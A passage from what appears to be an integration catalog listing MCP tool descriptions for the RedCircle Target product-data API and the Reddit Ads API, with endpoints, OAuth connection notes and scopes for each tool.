rating and facet filters as search. Category IDs come from the list-and-search-categories tool. Supply `category_id`, or a Target category `url` (which overrides every other parameter). GET /api/v1/redcircle/request/category. Scopes: api. redcircle_get_request_product (product-data) — Retrieve a single Target product's details -- title, brand, pricing, promotions, ratings, images, specifications and variants -- by TCIN (Target item ID), DPCI, GTIN/ISBN/UPC, or a Target product-page URL. Supply one of `tcin`, `dpci`, `gtin` or `url`: `url` overrides the other three, and `gtin` overrides `tcin` and `dpci`. GET /api/v1/redcircle/request/product. Scopes: api. redcircle_get_request_reviews (product-data) — Retrieve customer reviews for a Target product, filtered by reviewer type, star rating and media type, and sorted. Identify the product by `tcin`, `dpci`, `gtin` or a Target product-page `url`. GET /api/v1/redcircle/request/reviews. Scopes: api. redcircle_get_request_search (product-data) — Search Target for products by search term, with optional category, sorting, delivery-type, rating and facet filters, and pagination. Supply `search_term`, or a Target search-results `url` (which overrides every other parameter). GET /api/v1/redcircle/request/search. Scopes: api. redcircle_get_request_store_stock (product-data) — Retrieve in-store stock for a Target product across stores near a zipcode -- up to 20 stores within a 50 mile radius. Identify the product by `tcin`, `dpci`, `gtin` or `url`. GET /api/v1/redcircle/request/store_stock. Scopes: api. redcircle_get_zipcodes (zipcodes) — List the zipcodes set up on your account. A maximum of 10 are returned per page. GET /api/v1/redcircle/zipcodes. Scopes: api. redcircle_post_collections (collections) — Create a Collection, which runs up to 15,000 Requests on a schedule (100 when its Requests set include_html=true). An account may hold up to 10,000 Collections. POST /api/v1/redcircle/collections. Scopes: api. redcircle_post_destinations (destinations) — Create a Destination -- an S3, S3-compatible, Google Cloud Storage, Azure Blob Storage or Alibaba Cloud OSS bucket that Collection Result Sets are uploaded to. POST /api/v1/redcircle/destinations. Scopes: api. redcircle_post_zipcodes (zipcodes) — Add zipcodes to your account. The body is an ARRAY of objects, each naming a zipcode and the domain to use it on. POST /api/v1/redcircle/zipcodes. Scopes: api. redcircle_put_collections_by_collection_id (collections) — Update a Collection's fields, and/or add Requests to it. These are the same endpoint: send the Collection's own fields to update it, or a `requests` array (up to 1000 per call) to add Requests. A Collection holds at most 15,000 Requests. Requests can only be added while the Collection is not running. PUT /api/v1/redcircle/collections/{collection_id}. Scopes: api. redcircle_put_collections_by_collection_id_by_request_id (collections) — Update one Request inside a Collection. Requests can only be updated while the Collection is not running. Call this sequentially rather than in parallel -- too many concurrent calls are answered 429. PUT /api/v1/redcircle/collections/{collection_id}/{request_id}. Scopes: api. redcircle_put_destinations_by_destination_id (destinations) — Update a Destination. It takes the same fields as creating one. PUT /api/v1/redcircle/destinations/{destination_id}. Scopes: api. ================================================================================ ## Reddit Ads URL: https://www.agenticfabriq.com/integrations/redditads Section: Integrated Tools Reddit Ads — 100 MCP tools Provider key: redditads. Scopes: adsconversions, adsdatadeletion, adsedit, adsread. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. redditads_delete_custom_audiences_by_audience_id (write, destructive) — Delete Custom Audience: Delete a custom audience. (DELETE /api/v3/custom_audiences/{audience_id}) DELETE /api/v1/redditads/custom_audiences/{audience_id}. Scopes: adsedit. redditads_delete_product_catalogs_by_catalog_id (write, destructive) — Delete Product Catalog: Delete a catalog. > **Important:** This action can't be undone. (DELETE /api/v3/product_catalogs/{catalog_id}) DELETE /api/v1/redditads/product_catalogs/{catalog_id}. Scopes: adsedit. redditads_delete_product_feeds_by_feed_id (write, destructive) — Delete Product Feed: Delete a feed in a catalog. > **Important:** This action can't be undone. (DELETE /api/v3/product_feeds/{feed_id}) DELETE /api/v1/redditads/product_feeds/{feed_id}. Scopes: adsedit. redditads_delete_product_sets_by_product_set_id (write, destructive) — Delete Product Set: Delete your product set. > **Important:** This action can't be undone. (DELETE /api/v3/product_sets/{product_set_id}) DELETE /api/v1/redditads/product_sets/{product_set_id}. Scopes: adsedit. redditads_get_ad_accounts_by_ad_account_id (read) — Get Ad Account: Retrieve ad account by ID. (GET /api/v3/ad_accounts/{ad_account_id}) GET /api/v1/redditads/ad_accounts/{ad_account_id}. Scopes: adsread. redditads_get_ad_accounts_by_ad_account_id_ad_groups (read) — List Ad Groups: Retrieve ad groups by ad account. (GET /api/v3/ad_accounts/{ad_account_id}/ad_groups) GET /api/v1/redditads/ad_accounts/{ad_account_id}/ad_groups. Scopes: adsread. redditads_get_ad_accounts_by_ad_account_id_ads (read) — List Ads: Retrieve ads by ad account. Filters combine with logical AND across different query parameters. For multi-value filters, comma-separated values within the same query parameter use logical OR. For example, `?configured_status=ACTIVE,PAUSED&effective_status=PENDING_APPROVAL` returns ads whose configured status is `ACTIVE` or `PAUSED` and whose effective status is `PENDING_APPROVAL`. > **Tip:** Only 1 ad will appear for each Max campaign. Learn about [Max campaigns](https://business.reddithelp.com/s/article/max-campaigns). (GET /api/v3/ad_accounts/{ad_account_id}/ads) GET /api/v1/redditads/ad_accounts/{ad_account_id}/ads. Scopes: adsread. redditads_get_ad_accounts_by_ad_account_id_apps (read) — List Apps By Ad Account: Retrieve mobile app identifiers previously used in [app install](https://business.reddithelp.com/s/article/app-install-ads) campaigns. Each returned item includes only the `id` field (App Store or Google Play identifier). ## Things to know - The set reflects apps already used in past campaign activity, not every app you may target in the future. - `page.token` and `page.size` are accepted for consistency with other list endpoints; pagination is not applied yet, so `pagination.next_url` and `pagination.previous_url` are always null. (GET /api/v3/ad_accounts/{ad_account_id}/apps) GET /api/v1/redditads/ad_accounts/{ad_account_id}/apps. Scopes: adsread. redditads_get_ad_accounts_by_ad_account_id_campaigns (read) — List Campaigns: Retrieve campaigns by ad account. (GET /api/v3/ad_accounts/{ad_account_id}/campaigns) GET /api/v1/redditads/ad_accounts/{ad_account_id}/campaigns. Scopes: adsread. redditads_get_ad_accounts_by_ad_account_id_custom_audiences (read) — List User Custom Audiences: Retrieve custom audiences associated with an ad account. (GET /api/v3/ad_accounts/{ad_account_id}/custom_audiences) GET /api/v1/redditads/ad_accounts/{ad_account_id}/custom_audiences. Scopes: adsread. redditads_get_ad_accounts_by_ad_account_id_funding_instruments (read) — List Funding Instruments: Retrieve funding instruments used by an ad account. (GET /api/v3/ad_accounts/{ad_account_id}/funding_instruments) GET /api/v1/redditads/ad_accounts/{ad_account_id}/funding_instruments. Scopes: adsread. redditads_get_ad_accounts_by_ad_account_id_lead_gen_forms (read) — List Lead Gen Forms: Retrieve the lead generation forms in an ad account. (GET /api/v3/ad_accounts/{ad_account_id}/lead_gen_forms) GET /api/v1/redditads/ad_accounts/{ad_account_id}/lead_gen_forms. Scopes: adsread. redditads_get_ad_accounts_by_ad_account_id_pixels (read) — List Pixels By Ad Account: Retrieve Pixels associated with an ad account. > **Important:** Starting July 13th, 2026, a Pixel is required for all ad groups and CBO campaigns. If no Pixels are currently associated with your ad account, set up your Pixel in the [Events Manager](https://ads.reddit.com/events-manager). (GET /api/v3/ad_accounts/{ad_account_id}/pixels) GET /api/v1/redditads/ad_accounts/{ad_account_id}/pixels. Scopes: adsread. redditads_get_ad_accounts_by_ad_account_id_profiles (read) — List Profiles By Ad Account: Retrieve profiles associated with an ad account. (GET /api/v3/ad_accounts/{ad_account_id}/profiles) GET /api/v1/redditads/ad_accounts/{ad_account_id}/profiles. Scopes: adsread. redditads_get_ad_accounts_by_ad_account_id_saved_audiences (read) — List Saved Audiences: List saved audiences. (GET /api/v3/ad_accounts/{ad_account_id}/saved_audiences) GET /api/v1/redditads/ad_accounts/{ad_account_id}/saved_audiences. Scopes: adsread. redditads_get_ad_groups_by_ad_group_id (read) — Get Ad Group: Retrieve an ad group. (GET /api/v3/ad_groups/{ad_group_id}) GET /api/v1/redditads/ad_groups/{ad_group_id}. Scopes: adsread. redditads_get_ads_by_ad_id (read) — Get Ad: Retrieve an ad. (GET /api/v3/ads/{ad_id}) GET /api/v1/redditads/ads/{ad_id}. Scopes: adsread. redditads_get_apps_by_app_id_last_fired_at_report (read) — Get App Last Fired At: Retrieve the last time [App Install events](https://business.reddithelp.com/s/article/app-install-ads#supported-events) fired for a specific app ID. (GET /api/v3/apps/{app_id}/last_fired_at_report) GET /api/v1/redditads/apps/{app_id}/last_fired_at_report. Scopes: adsread. redditads_get_apps_by_app_id_skan_availability (read) — Get SKAdNetwork Availability: Retrieve the SKAdNetwork (SKAD) IDs availability quota for an app. Learn more about [SKAD IDs](https://business.reddithelp.com/s/article/skadnetwork). ## iOS App Install active limits * 10 campaigns per app ID (shared across all ad accounts) * 5 ad groups per campaign * 10 ads per ad group (GET /api/v3/apps/{app_id}/skan_availability) GET /api/v1/redditads/apps/{app_id}/skan_availability. Scopes: adsread. redditads_get_businesses_by_business_id (read) — Get Business: Retrieve business by ID. (GET /api/v3/businesses/{business_id}) GET /api/v1/redditads/businesses/{business_id}. Scopes: adsread. redditads_get_businesses_by_business_id_ad_accounts (read) — List Ad Accounts By Business: Retrieve the ad accounts in a business. > **Note:** Ad accounts [shared with the business](https://business.reddithelp.com/s/article/partner-sharing) won't be returned. (GET /api/v3/businesses/{business_id}/ad_accounts) GET /api/v1/redditads/businesses/{business_id}/ad_accounts. Scopes: adsread. redditads_get_businesses_by_business_id_pixels (read) — List Pixels By Business: Retrieve Pixels associated with a business. (GET /api/v3/businesses/{business_id}/pixels) GET /api/v1/redditads/businesses/{business_id}/pixels. Scopes: adsread. redditads_get_businesses_by_business_id_product_catalogs (read) — List Product Catalogs: Retrieve details for all catalogs for your business. (GET /api/v3/businesses/{business_id}/product_catalogs) GET /api/v1/redditads/businesses/{business_id}/product_catalogs. Scopes: adsread. redditads_get_businesses_by_business_id_profiles (read) — List Profiles By Business: Retrieve profiles associated with a business. (GET /api/v3/businesses/{business_id}/profiles) GET /api/v1/redditads/businesses/{business_id}/profiles. Scopes: adsread. redditads_get_campaigns_by_campaign_id (read) — Get Campaign: Retrieve a campaign. (GET /api/v3/campaigns/{campaign_id}) GET /api/v1/redditads/campaigns/{campaign_id}. Scopes: adsread. redditads_get_catalog_imports_by_import_id_issues (read) — List Catalog Import Issues: Retrieve a list of the catalog's import issues. See [troubleshooting](https://business.reddithelp.com/s/article/troubleshoot-catalogs) and [catalog requirements](https://business.reddithelp.com/s/article/catalog-requirements) for more details. (GET /api/v3/catalog_imports/{import_id}/issues) GET /api/v1/redditads/catalog_imports/{import_id}/issues. Scopes: adsread. redditads_get_catalog_imports_by_import_id_report (read) — Get Catalog Import Report: Retrieve metadata for a specific catalog import. Access the URL to download details on product processing statuses and issues. (GET /api/v3/catalog_imports/{import_id}/report) GET /api/v1/redditads/catalog_imports/{import_id}/report. Scopes: adsread. redditads_get_channel_planning_reach (read) — Get Channel Planning Reach: Retrieve a 10-point reach curve at different impression levels based on targeting. (GET /api/v3/channel_planning/reach) GET /api/v1/redditads/channel_planning/reach. Scopes: adsread. redditads_get_creative_assets_by_creative_asset_id (read) — Get Creative Asset: Fetch metadata for your creative asset. Learn about the [asset library](https://business.reddithelp.com/s/article/asset-library). > **Note:** Asset library requires the Max campaign type, which is in beta. [Reach out to a Reddit Ads expert](https://www.business.reddit.com/speak-with-a-reddit-ads-expert) for more details. (GET /api/v3/creative_assets/{creative_asset_id}) GET /api/v1/redditads/creative_assets/{creative_asset_id}. Scopes: adsread. redditads_get_custom_audiences_by_audience_id (read) — Get Custom Audience: Retrieve a custom audience. (GET /api/v3/custom_audiences/{audience_id}) GET /api/v1/redditads/custom_audiences/{audience_id}. Scopes: adsread. redditads_get_data_deletion_jobs_by_job_id (read) — Get Data Deletion Job Status: Retrieve the current status of a data deletion job. Deletions are processed daily, so poll once per day until the job reaches `COMPLETED` or `FAILED`. View the [polling guidance](/docs/v3/guides/programs/data-deletion/delete-user-data#best-practices). (GET /api/v3/data_deletion_jobs/{job_id}) GET /api/v1/redditads/data_deletion_jobs/{job_id}. Scopes: adsdatadeletion. redditads_get_funding_instruments_by_funding_instrument_id_allocations (read) — Get Child Funding Instruments: Retrieve funding instrument allocations. (GET /api/v3/funding_instruments/{funding_instrument_id}/allocations) GET /api/v1/redditads/funding_instruments/{funding_instrument_id}/allocations. Scopes: adsread. redditads_get_industries (read) — List Industries: List supported industries. (GET /api/v3/industries) GET /api/v1/redditads/industries. Scopes: adsread. redditads_get_lead_gen_forms_by_lead_gen_form_id (read) — Get Lead Gen Form: Retrieve a lead generation form. (GET /api/v3/lead_gen_forms/{lead_gen_form_id}) GET /api/v1/redditads/lead_gen_forms/{lead_gen_form_id}. Scopes: adsread. redditads_get_me (read) — Get Me: Retrieve the authenticated user. (GET /api/v3/me) GET /api/v1/redditads/me. Scopes: adsread. redditads_get_me_businesses (read) — List my businesses: Retrieve all businesses associated with the authenticated user. Apply filters to narrow results by the user's access. (GET /api/v3/me/businesses) GET /api/v1/redditads/me/businesses. Scopes: adsread. redditads_get_pixels_by_pixel_id_last_fired_at (read) — Get Last Fired At: Retrieve the last time a Pixel was fired for conversion events ([ISO 8601](https://www.iso.org/iso-8601-date-and-time-format.html)). (GET /api/v3/pixels/{pixel_id}/last_fired_at) GET /api/v1/redditads/pixels/{pixel_id}/last_fired_at. Scopes: adsread. redditads_get_posts_by_post_id (read) — Get Post: Retrieve a post. > **Note:** This is a legacy endpoint. Use [`Get Structured Post`](https://ads-api.reddit.com/docs/v3/operations/Get%20Structured%20Post) instead. (GET /api/v3/posts/{post_id}) GET /api/v1/redditads/posts/{post_id}. Scopes: adsread. redditads_get_product_catalogs_by_catalog_id (read) — Get Product Catalog: Retrieve a catalog. (GET /api/v3/product_catalogs/{catalog_id}) GET /api/v1/redditads/product_catalogs/{catalog_id}. Scopes: adsread. redditads_get_product_catalogs_by_catalog_id_catalog_imports (read) — List Catalog Imports: Retrieve all imports for a catalog. (GET /api/v3/product_catalogs/{catalog_id}/catalog_imports) GET /api/v1/redditads/product_catalogs/{catalog_id}/catalog_imports. Scopes: adsread. redditads_get_product_catalogs_by_catalog_id_product_feeds (read) — List Product Feeds: Retrieve metadata for all feeds in a catalog. (GET /api/v3/product_catalogs/{catalog_id}/product_feeds) GET /api/v1/redditads/product_catalogs/{catalog_id}/product_feeds. Scopes: adsread. redditads_get_product_catalogs_by_catalog_id_product_sets (read) — List Product Sets: Retrieve all product sets in a catalog. (GET /api/v3/product_catalogs/{catalog_id}/product_sets) GET /api/v1/redditads/product_catalogs/{catalog_id}/product_sets. Scopes: adsread. redditads_get_product_catalogs_by_catalog_id_products (read) — List Products In Product Catalog: Retrieve all products in a catalog. (GET /api/v3/product_catalogs/{catalog_id}/products) GET /api/v1/redditads/product_catalogs/{catalog_id}/products. Scopes: adsread. redditads_get_product_feeds_by_feed_id (read) — Get Product Feed: Retrieve metadata for a specific feed. (GET /api/v3/product_feeds/{feed_id}) GET /api/v1/redditads/product_feeds/{feed_id}. Scopes: adsread. redditads_get_product_sets_by_product_set_id (read) — Get Product Set: Retrieve metadata for a specific product set. (GET /api/v3/product_sets/{product_set_id}) GET /api/v1/redditads/product_sets/{product_set_id}. Scopes: adsread. redditads_get_product_sets_by_product_set_id_products (read) — List Products In Product Set: Retrieve all products in a product set. (GET /api/v3/product_sets/{product_set_id}/products) GET /api/v1/redditads/product_sets/{product_set_id}/products. Scopes: adsread. redditads_get_profiles_by_profile_id (read) — Get Profile: Retrieve profile by ID. (GET /api/v3/profiles/{profile_id}) GET /api/v1/redditads/profiles/{profile_id}. Scopes: adsread. redditads_get_profiles_by_profile_id_creative_assets (read) — List Creative Assets: Retrieve all creative assets associated with your profile. Learn how to use the [asset library](https://business.reddithelp.com/s/article/asset-library). > **Note:** Asset library requires the Max campaign type, which is in beta. [Reach out to a Reddit Ads expert](https://www.business.reddit.com/speak-with-a-reddit-ads-expert) for more details. (GET /api/v3/profiles/{profile_id}/creative_assets) GET /api/v1/redditads/profiles/{profile_id}/creative_assets. Scopes: adsread. redditads_get_profiles_by_profile_id_posts (read) — List Posts: Retrieve up to 1,000 posts for a profile. > **Note:** This is a legacy endpoint. Use [`List Structured Posts`](https://ads-api.reddit.com/docs/v3/operations/List%20Structured%20Posts) instead. (GET /api/v3/profiles/{profile_id}/posts) GET /api/v1/redditads/profiles/{profile_id}/posts. Scopes: adsread. redditads_get_profiles_by_profile_id_structured_posts (read) — List Structured Posts: Retrieve structured posts by profile. (GET /api/v3/profiles/{profile_id}/structured_posts) GET /api/v1/redditads/profiles/{profile_id}/structured_posts. Scopes: adsread. redditads_get_saved_audiences_by_saved_audience_id (read) — Get Saved Audience: Retrieve a saved audience. (GET /api/v3/saved_audiences/{saved_audience_id}) GET /api/v1/redditads/saved_audiences/{saved_audience_id}. Scopes: adsread. redditads_get_structured_posts_by_post_id (read) — Get Structured Post: Retrieve a structured post. (GET /api/v3/structured_posts/{post_id}) GET /api/v1/redditads/structured_posts/{post_id}. Scopes: adsread. redditads_get_structured_posts_jobs_by_post_creation_job_id (read) — Get Structured Post Creation Job: Retrieve a structured post creation job. (GET /api/v3/structured_posts/jobs/{post_creation_job_id}) GET /api/v1/redditads/structured_posts/jobs/{post_creation_job_id}. Scopes: adsread. redditads_get_targeting_carriers (read) — List Carriers: Retrieve details on [targetable carriers](https://business.reddithelp.com/s/article/Overview-Reddit-Ads-Audience-and-Targeting#device-and-carrier). (GET /api/v3/targeting/carriers) GET /api/v1/redditads/targeting/carriers. Scopes: adsread. redditads_get_targeting_communities (read) — List Communities: Retrieve details on [targetable communities](https://business.reddithelp.com/s/article/reddit-audiences#community-targeting). (GET /api/v3/targeting/communities) GET /api/v1/redditads/targeting/communities. Scopes: adsread. redditads_get_targeting_communities_search (read) — Search Communities: Find [targetable communities](https://business.reddithelp.com/s/article/reddit-audiences#community-targeting) based on their name or topic. (GET /api/v3/targeting/communities/search) GET /api/v1/redditads/targeting/communities/search. Scopes: adsread. redditads_get_targeting_communities_suggestions (read) — List Communities Suggestions: Retrieve suggested communities based on keywords and/or a website. (GET /api/v3/targeting/communities/suggestions) GET /api/v1/redditads/targeting/communities/suggestions. Scopes: none. redditads_get_targeting_devices (read) — List Devices: Retrieve details on [targetable devices](https://business.reddithelp.com/s/article/Overview-Reddit-Ads-Audience-and-Targeting#device-and-carrier). (GET /api/v3/targeting/devices) GET /api/v1/redditads/targeting/devices. Scopes: adsread. redditads_get_targeting_geolocations (read) — List Geolocations: Retrieve details on [targetable geolocations](https://business.reddithelp.com/s/article/demographics#location-targeting). (GET /api/v3/targeting/geolocations) GET /api/v1/redditads/targeting/geolocations. Scopes: adsread. redditads_get_targeting_interests (read) — List Interests: Retrieve details on [targetable interests](https://business.reddithelp.com/s/article/reddit-audiences#interest-targeting). (GET /api/v3/targeting/interests) GET /api/v1/redditads/targeting/interests. Scopes: adsread. redditads_get_targeting_languages (read) — List Languages: Retrieve details on [targetable languages](https://business.reddithelp.com/s/article/demographics#language-targeting). (GET /api/v3/targeting/languages) GET /api/v1/redditads/targeting/languages. Scopes: adsread. redditads_get_targeting_third_party_audiences (read) — List 3rd Party Audiences: Retrieve details on supported third-party audiences. (GET /api/v3/targeting/third_party_audiences) GET /api/v1/redditads/targeting/third_party_audiences. Scopes: adsread. redditads_get_third_party_trackers (read) — Get Third Party Trackers: Retrieve domains recognized for click and impression tracking before creating or updating ads. > **Note:** A listed domain does not guarantee that every tracker URL using it is valid. (GET /api/v3/third_party_trackers) GET /api/v1/redditads/third_party_trackers. Scopes: adsread. redditads_get_time_zones (read) — List Time Zones: List supported time zones. (GET /api/v3/time_zones) GET /api/v1/redditads/time_zones. Scopes: adsread. redditads_patch_ad_accounts_by_ad_account_id (write) — Update Ad Account: Update an ad account. (PATCH /api/v3/ad_accounts/{ad_account_id}) PATCH /api/v1/redditads/ad_accounts/{ad_account_id}. Scopes: adsedit. redditads_patch_ad_groups_by_ad_group_id (write) — Update Ad Group: Update an ad group. When `shopping_type` is `DYNAMIC`, see the `targeting` field description for which fields are applied. (PATCH /api/v3/ad_groups/{ad_group_id}) PATCH /api/v1/redditads/ad_groups/{ad_group_id}. Scopes: adsedit. redditads_patch_ads_by_ad_id (write) — Update Ad: Update an ad. For catalog sales ads using `shopping_creative`, see `click_url` for how it is handled. (PATCH /api/v3/ads/{ad_id}) PATCH /api/v1/redditads/ads/{ad_id}. Scopes: adsedit. redditads_patch_businesses_by_business_id (write) — Update Business: Update business by ID. (PATCH /api/v3/businesses/{business_id}) PATCH /api/v1/redditads/businesses/{business_id}. Scopes: adsedit. redditads_patch_campaigns_by_campaign_id (write) — Update Campaign: Update a campaign. (PATCH /api/v3/campaigns/{campaign_id}) PATCH /api/v1/redditads/campaigns/{campaign_id}. Scopes: adsedit. redditads_patch_custom_audiences_by_audience_id_users (write) — Update Custom Audience Users: Update users in a custom audience. Limited to 2,500 `user_data` entries per request. Learn more about [managing custom audiences](https://ads-api.reddit.com/docs/v3/manage-customer-lists). (PATCH /api/v3/custom_audiences/{audience_id}/users) PATCH /api/v1/redditads/custom_audiences/{audience_id}/users. Scopes: adsedit. redditads_patch_posts_by_post_id (write) — Update Post: Update a post. > **Note:** This is a legacy endpoint. Create a [structured post](https://ads-api.reddit.com/docs/v3/operations/Create%20Structured%20Post%20Creation%20Job) instead. (PATCH /api/v3/posts/{post_id}) PATCH /api/v1/redditads/posts/{post_id}. Scopes: adsedit. redditads_patch_product_catalogs_by_catalog_id (write) — Update Product Catalog: Change a catalog's name or attached Pixel ID. (PATCH /api/v3/product_catalogs/{catalog_id}) PATCH /api/v1/redditads/product_catalogs/{catalog_id}. Scopes: adsedit. redditads_patch_product_feeds_by_feed_id (write) — Update Product Feed: Change a feed's metadata. (PATCH /api/v3/product_feeds/{feed_id}) PATCH /api/v1/redditads/product_feeds/{feed_id}. Scopes: adsedit. redditads_patch_product_sets_by_product_set_id (write) — Update Product Set: Change a specific product set's name and filters. (PATCH /api/v3/product_sets/{product_set_id}) PATCH /api/v1/redditads/product_sets/{product_set_id}. Scopes: adsedit. redditads_patch_saved_audiences_by_saved_audience_id (write) — Update Saved Audience: Update a saved audience. (PATCH /api/v3/saved_audiences/{saved_audience_id}) PATCH /api/v1/redditads/saved_audiences/{saved_audience_id}. Scopes: adsread. redditads_patch_structured_posts_by_post_id (write) — Update Structured Post: Modify `allow_comments` on an existing structured post. [Create another structured post](https://ads-api.reddit.com/docs/v3/operations/Create%20Structured%20Post%20Creation%20Job) to change other parts of the ad, such as the headline or assets. (PATCH /api/v3/structured_posts/{post_id}) PATCH /api/v1/redditads/structured_posts/{post_id}. Scopes: adsedit. redditads_post_ad_accounts_by_ad_account_id_ad_groups (write) — Create Ad Group: Create an ad group. > **Important:** Starting July 13th, 2026, `conversion_pixel_id` is required for all ad groups. Retrieve your Pixel with [`List Pixels by Ad Account`](https://ads-api.reddit.com/docs/v3/operations/List%20Pixels%20By%20Ad%20Account). ## Optimization goal options `optimization_goal` is required for [conversion](https://business.reddithelp.com/s/article/About-Reddit-Ads-conversion-tracking), [video views](https://business.reddithelp.com/s/article/video-goals), [catalog sales](https://business.reddithelp.com/s/article/catalogs), and [app install](https://business.reddithelp.com/s/article/app-install-ads) campaign objectives. Conversion > **Note:** Starting May 5th, `VIEW_CONTENT`, `SEARCH`, and `ADD_TO_WISHLIST` will no longer be supported for **new ad groups**. Existing ad groups using these goals won't be affected, but they can't be created, extended, duplicated, or replicated. - `PAGE_VISIT` - `VIEW_CONTENT` - `SEARCH` - `ADD_TO_CART` - `ADD_TO_WISHLIST` - `PURCHASE` - `LEAD` - `SIGN_UP` - `CLICKS` > **Note:** `CLICKS` is only available if neither Pixel nor CAPI has been set up. Video views > **Important:** Starting **March 31st, 2026**, `NULL` is no longer supported. Set to a valid video goal to prevent issues. Learn about [video goals](https://business.reddithelp.com/s/article/video-goals). - `VIDEO_VIEW_6S` - `VIDEO_VIEW_15S` > **Note:** `VIDEO_VIEW_15S` requires a `bid_type` of `CPV15`. Catalog sales - `PURCHASE` - `CLICKS` > **Note:** `CLICKS` is only available if neither Pixel nor CAPI has been set up. App install > **Note:** Learn more about [app event goals](https://business.reddithelp.com/s/article/app-event-optimization). - `MOBILE_CONVERSION_INSTALL` - `MOBILE_CONVERSION_SIGN_UP` - `MOBILE_CONVERSION_ADD_PAYMENT_INFO` - `MOBILE_CONVERSION_ADD_TO_CART` - `MOBILE_CONVERSION_PURCHASE` - `MOBILE_CONVERSION_COMPLETED_TUTORIAL` - `MOBILE_CONVERSION_LEVEL_ACHIEVED` - `MOBILE_CONVERSION_SPEND_CREDITS` - `MOBILE_CONVERSION_REINSTALL` - `MOBILE_CONVERSION_UNLOCK_ACHIEVEMENT` - `MOBILE_CONVERSION_START_TRIAL` - `MOBILE_CONVERSION_SUBSCRIBE` - `MOBILE_CONVERSION_ONBOARD_STARTED` - `MOBILE_CONVERSION_FIRST_TIME_PURCHASE` When `shopping_type` is `DYNAMIC`, see the `targeting` field description for which fields are applied. (POST /api/v3/ad_accounts/{ad_account_id}/ad_groups) POST /api/v1/redditads/ad_accounts/{ad_account_id}/ad_groups. Scopes: adsedit. redditads_post_ad_accounts_by_ad_account_id_ads (write) — Create Ad: Create an ad. For catalog sales ads using `shopping_creative`, see `click_url` for how it is handled. (POST /api/v3/ad_accounts/{ad_account_id}/ads) POST /api/v1/redditads/ad_accounts/{ad_account_id}/ads. Scopes: adsedit. redditads_post_ad_accounts_by_ad_account_id_campaigns (write) — Create Campaign: Create a campaign. > **Important:** Starting July 13th, 2026, `conversion_pixel_id` is required for all campaign budget optimization campaigns. Retrieve your Pixel with [`List Pixels by Ad Account`](https://ads-api.reddit.com/docs/v3/operations/List%20Pixels%20By%20Ad%20Account). > **Note:** Max campaigns creation isn't currently supported in the Reddit Ads API. Set up Max campaigns in the [Ads Manager](https://business.reddithelp.com/s/article/max-campaigns). (POST /api/v3/ad_accounts/{ad_account_id}/campaigns) POST /api/v1/redditads/ad_accounts/{ad_account_id}/campaigns. Scopes: adsedit. redditads_post_ad_accounts_by_ad_account_id_custom_audiences (write) — Create Custom Audience: Create a custom audience. Learn more about [managing custom audiences](https://ads-api.reddit.com/docs/v3/manage-customer-lists). (POST /api/v3/ad_accounts/{ad_account_id}/custom_audiences) POST /api/v1/redditads/ad_accounts/{ad_account_id}/custom_audiences. Scopes: adsedit. redditads_post_ad_accounts_by_ad_account_id_data_deletion_jobs (write) — Create Data Deletion Job: Create an asynchronous job to delete ads-related data for supported user identifiers. Prefer pre-hashed identifiers when supported. Learn more about [deleting user data ](/docs/v3/guides/programs/data-deletion/delete-user-data). (POST /api/v3/ad_accounts/{ad_account_id}/data_deletion_jobs) POST /api/v1/redditads/ad_accounts/{ad_account_id}/data_deletion_jobs. Scopes: adsdatadeletion. redditads_post_ad_accounts_by_ad_account_id_forecasting_audience_and_delivery_estimates (write) — Audience and Delivery Estimates: Estimate audience size and delivery outcomes for the provided campaign and ad group configurations. Outcomes that don't apply with the selected objective and optimization goal are omitted. Learn about [audience estimates](https://business.reddithelp.com/s/article/Overview-Reddit-Ads-Audience-and-Targeting#audience-estimates). (POST /api/v3/ad_accounts/{ad_account_id}/forecasting/audience_and_delivery_estimates) POST /api/v1/redditads/ad_accounts/{ad_account_id}/forecasting/audience_and_delivery_estimates. Scopes: adsread. redditads_post_ad_accounts_by_ad_account_id_history (write) — Get Ad Account History: Retrieve the changelog for an ad account. > **Tip:** Send an empty JSON object (`{}`) to return all changes made to the ad account. (POST /api/v3/ad_accounts/{ad_account_id}/history) POST /api/v1/redditads/ad_accounts/{ad_account_id}/history. Scopes: adsread. redditads_post_ad_accounts_by_ad_account_id_lead_gen_forms (write) — Create Lead Gen Form: Create a lead generation form. (POST /api/v3/ad_accounts/{ad_account_id}/lead_gen_forms) POST /api/v1/redditads/ad_accounts/{ad_account_id}/lead_gen_forms. Scopes: adsedit. redditads_post_ad_accounts_by_ad_account_id_reports (write) — Get A Report: Generate a metrics report for up to 3 `breakdowns` (4 with `country` and `region`) based on the `fields` you provide. Reports provide detailed insights and analytics on ad performance, audience engagement, and other relevant metrics. > **Note:** Top combinations aren't currently supported. View these metrics in the [Ads Manager](https://business.reddithelp.com/s/article/the-dashboard#view-audience-insights). ## Considerations - Metrics default to Coordinated Universal Time (UTC). Change time zone by setting `time_zone_id`. - Filters can be added to limit entity types or conversion data. Learn about [applying filters](https://ads-api.reddit.com/docs/v3/filter-reporting-metrics). - Some values are converted in your report. To return the value: > **Note:** The asterisk (`*`) represents any character(s). For example, `CONVERSION*TOTAL_VALUE` matches any metrics starting with `CONVERSION` and ending with `TOTAL_VALUE`. - **Divide by 100:** `CONVERSION*TOTAL_VALUE` - **Divide by 1 million:** `SPEND`, `CPC`, `CPV`, `ECPM`, `APP_INSTALL*ECPA`, `APP_INSTALL_SKAN*`, `APP_INSTALL*REVENUE`, and `CONVERSION*ECPA` - We recommend including the `ad_id` breakdown. Use joins in [`Get Ad`](https://ads-api.reddit.com/docs/v3/operations/Get%20Ad) to retrieve IDs. - Metrics may take up to 6 hours to stabilize. Conversion data continues updating as events occur. - Delivery data goes back by 24 months. Reach and frequency data start June 2024. (POST /api/v3/ad_accounts/{ad_account_id}/reports) POST /api/v1/redditads/ad_accounts/{ad_account_id}/reports. Scopes: adsread. redditads_post_ad_accounts_by_ad_account_id_saved_audiences (write) — Create Saved Audience: Create a saved audience in an ad account. (POST /api/v3/ad_accounts/{ad_account_id}/saved_audiences) POST /api/v1/redditads/ad_accounts/{ad_account_id}/saved_audiences. 